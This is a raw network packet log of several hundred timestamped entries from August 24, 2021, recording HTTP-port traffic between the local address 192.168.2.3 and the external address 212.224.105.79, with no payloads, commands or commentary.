Aug 24, 2021 14:01:32.522600889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522618055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522623062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522644997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522660971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522666931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522690058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522712946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522726059 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522738934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522751093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522762060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522783041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522795916 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522805929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522829056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522846937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:32.522846937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522875071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:32.522936106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.086813927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.086916924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.108916998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.133512020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.169368029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.169442892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.191411018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.255979061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256014109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256036043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256057024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256078005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256103992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256123066 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256128073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256150961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256171942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256174088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256196022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256203890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256218910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256228924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256242990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256264925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256287098 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256289959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256314039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256335020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256351948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256354094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256376982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256390095 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256400108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256414890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256421089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256443024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256468058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256469011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256490946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256511927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256513119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256535053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256555080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256556034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256578922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256598949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256601095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256623030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256644011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256648064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256669044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256690025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256709099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256715059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256736994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256745100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256759882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256781101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256782055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256803036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256820917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256829023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256850958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256870985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256872892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256895065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256912947 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.256916046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256937981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.256975889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279170990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279205084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279223919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279242992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279263020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279283047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279304028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279309988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279326916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279345989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279364109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279366016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279383898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279395103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279403925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279422998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279429913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279443026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279459953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279464960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279484034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279503107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279511929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279521942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279537916 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279541016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279560089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279578924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279597998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279607058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279620886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279639959 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279640913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279660940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279666901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279680014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279699087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279706001 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279719114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279737949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279741049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279756069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279769897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279777050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279798031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279815912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279825926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279834986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279851913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279856920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279870987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279892921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279895067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279913902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279938936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279947042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.279962063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279983997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.279983997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280005932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280025959 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280028105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280050039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280071020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280092001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280092955 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280116081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280136108 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280139923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280160904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280164957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280191898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280213118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280217886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280241966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280265093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280282021 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280287981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280314922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280316114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280338049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280353069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280359983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280384064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280407906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280414104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280431986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280441046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280455112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280477047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280503035 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280503035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280528069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280545950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280550003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280572891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280592918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280612946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280613899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280632973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280654907 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280656099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280679941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280683994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280706882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280726910 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280730009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280751944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280769110 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280772924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280793905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280810118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280814886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280836105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280860901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280874014 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280881882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280899048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280913115 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280920029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280941963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280950069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.280966997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.280983925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.285284042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.285310984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.285475016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.295535088 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303298950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303328037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303340912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303353071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303395033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303416967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303440094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303462029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303478003 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303482056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303503036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303522110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303544044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303554058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303563118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303582907 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303585052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303606987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303606987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303644896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303668022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303682089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303690910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303709984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303714991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303736925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303754091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303755045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303785086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303807974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303824902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303832054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303852081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303853989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303877115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303893089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303898096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303920031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303935051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303956985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303973913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.303986073 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.303997040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304017067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304034948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304039001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304059029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304059029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304080009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304104090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304116964 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304126024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304148912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304163933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304186106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304198980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304208040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304229975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304280043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304291964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304316998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304337025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304342031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304358959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304379940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304390907 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304403067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304421902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304425001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304450035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304462910 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304471016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304495096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304517031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304527998 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304539919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304560900 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304563046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304584980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304603100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304606915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304627895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304650068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304662943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304673910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304693937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304698944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304722071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304744959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304757118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304766893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304785967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304789066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304810047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304831982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304840088 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304858923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304867983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304882050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304903984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304922104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304927111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304950953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304969072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.304971933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.304996014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305015087 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305017948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305042982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305052042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305066109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305087090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305110931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.305110931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.305135965 CEST	80	49723	212.224.105.79	192.168.2.3
